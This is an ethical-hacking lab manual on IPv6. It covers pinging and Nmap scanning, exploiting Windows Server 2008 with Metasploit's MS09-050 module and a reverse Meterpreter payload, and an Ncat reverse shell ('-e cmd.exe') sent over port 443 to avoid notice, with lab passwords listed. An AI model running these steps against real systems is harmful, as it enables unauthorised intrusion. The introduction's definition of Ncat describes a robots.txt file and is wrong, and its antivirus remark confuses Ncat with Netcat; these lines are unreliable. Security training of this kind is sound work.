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Introduction 

 

In this lab, students will learn how to use ping, scan, and exploit a system using IPv6.  
 
This lab includes the following tasks: 
 

 1 – Pinging IPv6 Addresses and Monitoring IPv6 Traffic 

 2 – IPv6 Scanning and Exploitation  

 3 – Post IPv6 Exploitation with NCAT  
 
 
Domains:  System Hacking, Penetration Testing 

 
Scanning and pinging other devices on the network can be a daily task for a network 
administrator.  Even though pinging and scanning are something many people are 
exposed to when they introduced to networking, far less individuals  have been exposed 
to performing such common tasks in an IP version 6 environment. 
 
IPv6 – An IPv6 address is a 128-bit logical address.  IPv6 is being implemented because 
of the more limited total address space that IPv4 provides.  Starting with Vista and 
higher, all Microsoft operating systems have IPv6 installed by default.  Most current 
versions of Linux as well as recent versions of Mac OS X also come with IPv6 enabled. 
 
Nmap – Nmap is a free program that can be used in Linux, Mac, or Windows to locate 
machines on a network.  After Nmap is used to discover machines on a network, it can 
also be utilized to determine which open Transmission Control Protocol (TCP) and User 
Datagram Protocol (UDP) ports the machine has open.  Nmap will give an indication of 
the operating system the remote machine is using.  Zenmap is a GUI (or Graphical User 
Interface) frontend for Nmap.  Nmap is available from www.nmap.org 
 
Ncat – This is a text file within the webroot that indicates the directories of your 
webserver.  It indicates to web robots which directories they should traverse. 
 
Metasploit – Metasploit is an exploitation framework.  The current version of 
Metasploit is written in Ruby and has exploits for Microsoft Windows, Mac OS X, Linux, 
and UNIX.  Some exploits are for the operating systems themselves and others are for 
the applications like Adobe Reader and Internet Explorer.  There is a detailed description 
of each exploit, which explains which version of the operating system, or application 
software is vulnerable, along with links to websites that describe the exploit in more 
detail.  To use Metasploit, you should be comfortable using the command line. 
 

 

    

This lab is part of a series of lab exercises intended to support courseware for Ethical 
Hacker training.  The development of this document is funded by the Department of 
Labor (DOL) Trade Adjustment Assistance Community College and Career Training 
(TAACCCT) Grant No. TC-22525-11-60-A-48. 
 

http://www.nmap.org/
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Wireshark – Wireshark is a protocol analyzer that will allow you to capture traffic as 
well as analyze network traffic.  Wireshark can be used to inspect traffic and examine 
the clear text communication of TELNET and encrypted communication of SSH. 
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Pod Topology 

 
 

 
 

 Figure 1:  Lab Topology 
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Lab Settings 

 
The information in the table below will be needed in order to complete the lab.  The 
task sections below provide details on the use of this information. 
 
Required Virtual Machines and Applications 
 
This lab requires the use of the Linux Internal Attack machine running BackTrack 5 R3 
and the Windows 2008 Server machine.   
 
 
Windows 2008 Server 
 

192.168.1.200 

 
Windows 2008 Server admin password 
 

none 

 
Windows 2003 SQL 
 

192.168.1.100 

 
Windows 2003 SQL Administrator password 
 

 
P@ssw0rd 

 

 
Internal BackTrack 5 
 

192.168.1.50 

 
BackTrack 5 root password 
 

toor 

 
Linux Sniffer 
 

No IP addresses 

 
Linux Sniffer root password 
 

 
toor 
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1  Pinging IPv6 Addresses and Monitoring IPv6 Traffic  

 
Many computer professionals who operate and maintain networks are very comfortable 
in an IPv4 environment.  Since the release of Windows Vista, Microsoft has IPv6 installed 
by default on all of their client and server operating systems.  So, there is an extremely 
high likelihood that IPv6 is running in your home, work, or school environment.  If IPv6 is 
not being monitored, an attacker can use this to their advantage and exploit systems. 
 

Keep in mind that Linux commands are case sensitive.  The commands below must be 
entered exactly as shown.  

 
 
1.1 Relearning How to Ping in an IPv6 World 

 
Open a Terminal to Get Started 
 

1. Open a terminal on the Internal BackTrack 5 Linux system by clicking on the 
picture to the right of the word System in the task bar in the top of the screen. 

 

 

 Figure 2:  The Terminal Windows within BackTrack  

 
After you click on the shortcut to the terminal, the terminal window will appear below. 
 

 

Figure 3:  The BackTrack Terminal will appear  
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2. Type the following command to view your IP version 4 and version 6 addresses 
root@bt:~#ifconfig  

 

 

 Figure 4:  IPv4 and IPv6 Addresses  

 
3. On Windows 2008 Server, open a command prompt by clicking on the shortcut 

on the desktop.  
 

 

 Figure 5:  Shortcut to Command Prompt 

 
4. Type the following command to view your IPv4 and IPv6 addresses: 

 C:\ipconfig  
 

 

 Figure 6:  The IPv4 and IPv6 addresses 
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As you prepare to ping the remote Linux system, keep these helpful hints in mind: 
 

 When you ping the machine running BackTrack Linux, drop the /64 
 

What is displayed in Linux What will be typed 

fe80::20c:29ff:fe4b:5cbe/64 fe80::20c:29ff:fe4b:5cbe 

 

 You must specify the Windows %number designation when you perform the ping 
 

Typing this is not sufficient specify the %number designation when you ping 

ping fe80::20c:29ff:fe4b:5cbe ping fe80::20c:29ff:fe4b:5cbe%10 

 
 

As you complete the lab, it is important to remember that your IPv6 addresses will differ 
from the ones used as examples in this lab.  When asked to ping IPv6 addresses, be sure 
to enter the IPv6 address for your machines!  You can use the ipconfig command on 
Windows and the ifconfig command on Linux to obtain your IPv6 addresses. 

 
5. On the Windows 2008 Server system, ping the IPv6 address of the Internal 

BackTrack 5 machine by typing: 
 C:\ ping fe80::20c:29ff:fe4b:5cbe%10 *Your IPv6 address will differ! 
 

 

 Figure 7:  Pinging the IPv6 Address of the Linux from Windows  

 
As you prepare to ping the remote Windows system, keep these helpful hints in mind: 

 When you ping the Windows system, drop the %number designation  
 

What is displayed in Windows What will be typed 

fe80::15d6:ae01:f114:f37%10 fe80::15d6:ae01:f114:f37 

 

 When you ping the Windows system, specify your Linux exit interface  
 

The exit interface must be specified An exit interface is specified after the IPv6 address 

ping6 fe80::15d6:ae01:f114:f37  ping6 fe80::15d6:ae01:f114:f37 -I eth0 
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6. To ping the Windows 2008 Server machine from the Internal Backtrack 5 
machine, type: 

 root@bt:~# ping6 fe80::15d6:ae01:f114:f37 -I eth0 
 

 

 Figure 8:  Pinging the IPv6 Address of the Windows from Linux 

 
Let the ping continue and we will start the sniffer to capture the IPv6 traffic. 
 

7. Log into the Linux Sniffer with the username of root with the password of toor. 
Note: For security purposes, the password will not be displayed. 
Type the following command to initialize the GUI, Graphical User Environment:  

 root@bt:~#startx 
 

 

 Figure 9:  Logging on to the Sniffer 

 
8. Open a terminal on the Linux system by clicking on the picture to the right of 

Firefox in the task bar in the bottom of the screen in BackTrack. 
 

 

 Figure 10:  The Terminal Windows within BackTrack  

 
After opening the terminal, you may want to consider adjusting the size of the font.  
 

9. To increase the font size within the terminal, click Settings from the Terminal 
menu bar, select Font, then select Enlarge Font.  Repeat this step if necessary.     
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Figure 11:  Increase the Font Size of the Terminal Windows  

 
One of the nice features about some versions of BackTrack is they do not automatically   
get assigned IP addresses though the use of DHCP, or Dynamic Host Configuration 
Protocol.  The idea is to come on the network quietly, without being detected.  
 

10. Only the loopback address, 127.0.0.1, is displayed when you type: 
 root@bt:~#ifconfig 
 

 

 Figure 12:  No IP address, other than the Loopback Address of 127.0.0.1, are Displayed 

 
11. To activate the first interface, type the following command: 

  root@bt:~#ifconfig eth0 up 
 

 

 Figure 13:  Activating the First Interface 

 
12. To run tcpdump on the network segment interface eth0 is connected to, type: 

 root@bt:~#tcpdump –i eth0 
 

Wait until at least one packet is displayed before stopping the capture. 
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Figure 14:  The output of tcpdump on the network segment interface eth0 is connected 

 
After a packet or more is displayed, hit CTRL+C to stop the network capture. 

 If the network 192.168.1.0/24 is displayed, eth0 is located on the first network. 

 If the network 216.0.0.0/8 is displayed, eth0 is located on the second network. 
 

13. To view the capture file, type the following command at the BackTrack terminal: 
 root@bt:~#wireshark  
 

 

 Figure 15:  Opening Wireshark 

 
14. Check the Don’t show the message again box and click the OK button. 

 

 

 Figure 16:  Opening the tcpdump capture with Wireshark 

 
15. Select Capture from the menu bar and go down to Interfaces. 

 

 

 Figure 17:  Opening the tcpdump capture with Wireshark 
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16. Select Start for device eth0. 
 

 

Figure 18:  Opening the tcpdump capture with Wireshark 

 
17. Type ipv6 in the Wireshark filter pane and click the Apply button.  View the IPv6 

traffic from the pings from the Internal BackTrack 5 machine to the Windows 
2008 Server machine.  
 

 

Figure 19:  IPv6 traffic within Wireshark 
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1.2 Conclusion 

 
When you switch from IPv4 to IPv6, you must relearn some of the basic commands that 
you were accustomed to doing with ease in an IPv4 environment.  Even performing a 
simple task like pinging another computer on the network with that computer’s 
designated IPv6 address is a more difficult task than it was in an IPv4 environment.  
 
1.3 Discussion Questions 

 
1. How do you display an IP version 6 addresses within Linux? 
2. How do you display an IP version 6 addresses within Microsoft Windows?  
3. What command is used within Linux to ping an IP version 6 addresses? 
4. When performing a ping of an IPv6 address with Linux, what must be specified?  
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2 IPv6 Scanning and Exploitation  

 
After you learn how to ping a remote machine on an IPv6 address, the next logical step 
for an attacker would be to scan another machine on the network using the IPv6 
address.  And, after scanning, the next logical step for the attacker would be to exploit 
the victim machine using the IPv6 address of the victim machine on the network.  Nmap 
allows you to scan IPv6 addresses and Metasploit allows you to exploit those addresses. 
 
 
2.1 Pivoting and Attacking Server 2008 

 
As you prepare to scan the remote Windows system, keep these helpful hints in mind: 
 

 When you scan the Windows system, drop the %number designation  
 

What is displayed in Windows What will be typed 

fe80::15d6:ae01:f114:f37%10 fe80::15d6:ae01:f114:f37 

 

 When you scan the Windows system, specify your Linux exit interface  
 

The exit interface must be specified An exit interface is specified after the IPv6 address 

nmap -6  fe80::15d6:ae01:f114:f37  nmap -6   fe80::15d6:ae01:f114:f37%eth0 

 

Before scanning with Nmap, hit CTRL+C  on the Internal BackTrack 5 machine to stop 
the continuous ping. 

 
1. Type the following command to scan the IPv6 Address of the Windows 2008 

Server system. 
 root@bt:~# nmap -6 fe80::15d6:ae01:f114:f37%eth0 
 

 

Figure 20: IPv6 Scan  

 
Notice that only the following 2ports are open on the Windows 2008 Server: 
 

 135/tcp open  msrpc 

 445/tcp open  microsoft-ds 
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2. To perform an operating system scan of the Windows 2008 Server machine’s 
IPv6 Address, type:  

 root@bt:~# nmap -6  -O  fe80::15d6:ae01:f114:f37%eth0 
 

 

Figure 21:  Scan of the Windows IPv6 Address 

 
3. Type the following command within the terminal to launch Metasploit: 

root@bt:~#msfconsole 
 

 

 Figure 22:  The msfconsole of Metasploit  
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Earlier, when we performed an operating system scan with Nmap, the results indicated: 
 

 Microsoft Windows Vista SP2 

 Windows 7 SP1 

 Windows Server 2008 R2 SP1  

 Windows 8 Consumer Preview 
 

 

Figure 23:  Multiple OS Results  

 
We need to have a more accurate indication of what OS the target computer is running. 
If we use one of the Metasploit auxiliary scanning modules, we can get a better result. 
 

4. To use the Metasploit auxiliary SMB scanning module, type the following: 
  msf > use auxiliary/scanner/smb/smb_version 
 

 

Figure 24:  Metasploit auxiliary SMB scanning module 

 
5. Type the following command to view the auxiliary scanning module’s options: 

 msf  auxiliary(smb_version) > show options 
 

 

Figure 25:  Options for Metasploit auxiliary SMB scanning module 
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6. Type the following command at the msf  auxiliary(smb_version) prompt to set 
the Remote Host to the Windows 2008 Server machine using its IPv6 address. 

 msf  auxiliary(smb_version) > set RHOSTS fe80::15d6:ae01:f114:f37%eth0 
 

 

Figure 26:  Setting the RHOSTS 

 
7. Type run to run the scan in order to determine the remote machine’s OS. 

 msf  auxiliary(smb_version) > run 
 

 

Figure 27: An Accurate OS Fingerprint 

 
8. The OS is identified as Windows 2008 Standard without Hyper-V Service Pack 1.  

To verify this, select the Windows 2008 Server machine on the Internal Network. 
In the Start Search box, type the following command to verify the Windows OS: 

 winver 
 

 

 Figure 28: Windows 2008 Standard without Hyper-V Service Pack 1 

 
9. The exploit/windows/smb/ms09_050_smb2_negotiate_func_index was released 

in 2009.  Type the following command to find information about the exploit. 
 msf  > info exploit/windows/smb/ms09_050_smb2_negotiate_func_index 
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Figure 29: Information about the Exploit  

 
10. The exploit works against 2008 Server when port 445 is open on the remote 

host.  To use the exploit, type the following command at the msf console. 
 
msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index 
 

 

Figure 30:  Using the Exploit within Metasploit  

 
Notice the prompt is now msf  exploit(ms09_050_smb2_negotiate_func_index) > . 
 

11. The RHOST, or remote host value needs to be set.  To set the RHOST to the 
Windows 2008 Server machine using its IPv6 address, type: 

 msf  exploit(ms09_050_smb2_negotiate_func_index) > set RHOST fe80::15d6:ae01:f114:f37%eth0 

 

 

Figure 31: Setting the Option for the RHOST  
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In order for the victim machine to connect back to the attacker, a PAYLOAD and LHOST 
value will also have to be set.  The LHOST is the IP address of the Attacking machine. 
 

12. To set the value for the PAYLOAD for the exploit, type the following command: 
 msf  exploit(ms09_050_smb2_negotiate_func_index) > show payloads 
 

 

Figure 32:  A List of Payloads  

 
Notice that a large number of IPv6 Payloads exist.  Note: The full list is not displayed. 
 

13. Type the following command to view the options for the exploit (again): 
msf  exploit(ms09_050_smb2_negotiate_func_index) > set PAYLOAD windows/meterpreter/reverse_ipv6_tcp 

 

Figure 33: Setting the PAYLOAD  

 
14. Type the following command to set the local host for the exploit to the Internal 

BackTrack 5 machine using its IPv6 address (again): 

msf  exploit(ms09_050_smb2_negotiate_func_index) > set lhost fe80::20c:29ff:fe4b:5cbe%eth0 

 

 

Figure 34: Setting the LHOST  
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15. The show all of the options you have set within Metasploit, set 
  msf  exploit(ms09_050_smb2_negotiate_func_index) > show options 
 

 

 Figure 35: Setting the Option for the RHOST  

 
16. Type exploit to exploit the system. You should have a Meterpreter session. 

 msf  exploit(ms09_050_smb2_negotiate_func_index) > exploit 
 

 

 Figure 36: The Target is Exploited  

 

If the victim machine restarts, you will need to type the exploit command again. 
In the next two steps, we will use netstat to view the established IPv6 connection. 
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17. To view the established IPv6 connection on the Windows 2008 Server machine, 
type the following: 

 C:\netstat –an | find “4444” 
 

 

Figure 37: The Target is Exploited  

 
18. On the Internal BackTrack 5 machine, open a terminal and type the following to 

view the established IPv6 connection: 
 root@bt:~#netstat –tan | grep “4444” 
 

 

Figure 38: The Target is Exploited  

 
 
2.2 Conclusion 

 
Scanning and exploiting a system using IP version 6 involves additional steps.  When 
IPv6 addresses are used within Linux, the exit interface must be designated.  If the 
network administrator or computer security professionals are not carefully monitoring 
all traffic, including IPv6 traffic, they could miss malicious actions taking place on the 
network.  Leave the terminal window with the Meterpreter prompt open, we will use it 
in the next section of this lab. 
 
 
2.3 Discussion Questions 

 
1. Name an IPv6 payload that can be utilized within Metasploit 
2. What is the command to view your network connections in Windows? 
3. What is the command to view your network connections in Linux? 
4. What Windows command will allow you to determine the version of Windows? 
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3 Post IPv6 Exploitation with Ncat 

 
Now that you have a Meterpreter connection to the victim, you can establish additional 
IPv6 connections with tools that support IPv6, such as Ncat.  Ncat is an executable that 
is similar to Netcat, the Swiss army knife of TCP/IP, but it comes packaged with Nmap .  
And, unlike Ncat, Nmap does not get designated as a virus by most anti-virus vendors. 
 
 
3.1 Ncat 

 
Nmap, and therefore Ncat, is already installed on your Linux system.  In order to get the 
tool on the Windows victim, we will need to upload and install it. 
 

1. To view the Nmap.exe file on the Internal Backtrack 5 machine, click Places and 
select Home Folder 

 

 

 Figure 39:  Interacting with a Command Shell 

 

Before proceeding to Step 2, switch to the Meterpreter terminal connected to the 
victim. 

 
2. To determine the directory you are located in on the victim, type the following: 

 meterpreter > pwd 
 

 

  Figure 40:  pwd command 
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3. To upload nmap.exe to the Windows 2008 Server victim, type the following: 
 meterpreter > upload /root/nmap.exe   . 
 

 

 Figure 41:  Uploading Nmap 

       
4. On the Internal BackTrack 5 machine, type the following command to view the 

uploaded file. 
 meterpreter > ls nmap.exe 
 

 

 Figure 42:  Listing Nmap  

 
5. Type the following command to get a command prompt on the victim  

 meterpreter > shell 
 

 

 Figure 43:  A Command Prompt  

 
6. Install the Nmap program silently by typing the following command: 

 C:\Windows\system32>nmap /S 
 

You must use a capital "S" in order for the program to install correctly. 

 

 

 Figure 44:  Installing Nmap  
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7. Switch to the root of the C: drive by typing the following command: 
 C:\Windows\system32>cd \ 
 

 

 Figure 45:  Switching to the Root of C:\  

 
8. Go into the Program Files directory by typing the following command: 

 C:\>cd program files 
 

 

 Figure 46:  Switching to the Program Files directory  

 
9. Type the following command to determine if the Nmap directory exists: 

 C:\Program Files>dir 
 

 

 Figure 47:  Listed Nmap directory  
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10. Go into the Nmap directory by typing the following command: 
 C:\Program Files>cd nmap 
 

 

 Figure 48:  Entering the Nmap directory  

 
11. To verify if Ncat is installed and operating properly, type the following: 

 C:\Program Files\Nmap>ncat –h 
 

 

Figure 49: Ncat command  
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12. On the Internal BackTrack 5 system, open another terminal and type the 
following:  

 root@bt:~# ncat -6 -l -p 443 
 

 

 Figure 50: ncat command  

 
13. In the BackTrack terminal connected to the victim, use the IPv6 address of the 

eth0 interface on the Internal BackTrack 5 machine and type the following, being 
sure to include the %10 at the end of the IPv6 address: 

 C:\Program Files\Nmap> ncat -6 -C fe80::20c:29ff:fe4b:5cbe%10 443 -e cmd.exe 
 

 

Figure 51: Ncat command  

 
View the other terminal where the Ncat listener was started.  You should see a prompt.  
 

 

Figure 52: Ncat connection  

 
14. To view the two established IPv6 connections on Windows, type the following: 

 C:\netstat –an | find “ESTABLISHED” 
 

 

Figure 53: netstat command  
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15. In the terminal connected to the victim where Ncat is running, type: 
 C:\Program Files\Nmap>dir 
 

 

 Figure 54: dir command  

 
SSL stands for Secure Sockets Layer and it uses port 443.  Traffic over port 443 is usually 
encrypted.  It does not have to be encrypted, although in most cases it would be. 
 

16. Go back to the Linux Sniffer machine.  Type ssl in the filter pane and click Apply. 
 

 

Figure 55: The filter ‘ssl’ in Wireshark  
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17. Note that both the source IP address and the destination IP address are IPv6 
addresses.  Right-click on one of the frames and select follow TCP Stream. 

 

 

 Figure 56: Follow a TCP Stream  

 
You will see that the traffic is in plain text even though port 443 was being utilized. 
 

 

Figure 57: A TCP Stream  
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3.2 Conclusion 

 
The Ncat tool, which is a part of the Nmap suite, is an IPv6 capable tool.  Tools that can 
utilize IPv6 will go unnoticed on a network if IPv6 traffic is not being monitored.  
Wireshark allows users to capture and analyze IPv6 traffic on a network. 
 
 
3.3 Discussion Questions 

 
1 What does SSL stand for?  
2 What port does SSL use? 
3 What is the Meterpreter command to launch a command shell? 
4 What is the command to silently install Nmap in Windows? 

 
 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
  



     
 
Lab 13:  Exploitation with IPv6  
   

 
7/18/2013 Copyright © 2013 NISGTC Page 31 of 31 

References 
 

1. Microsoft Security Bulletin MS09-050 - Critical 
Vulnerabilities in SMBv2 Could Allow Remote Code Execution (975517): 
http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx  

 
2. CERT Advisory CVE-2009-3103: 

http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3103   
 

3. BackTrack Linux:   
http://www.backtrack-linux.org/  

 
4. Armitage: 

http://www.fastandeasyhacking.com/ 
 

5. Metasploit: 
http://metasploit.com/  

 

http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3103
http://www.backtrack-linux.org/
http://www.fastandeasyhacking.com/
http://metasploit.com/

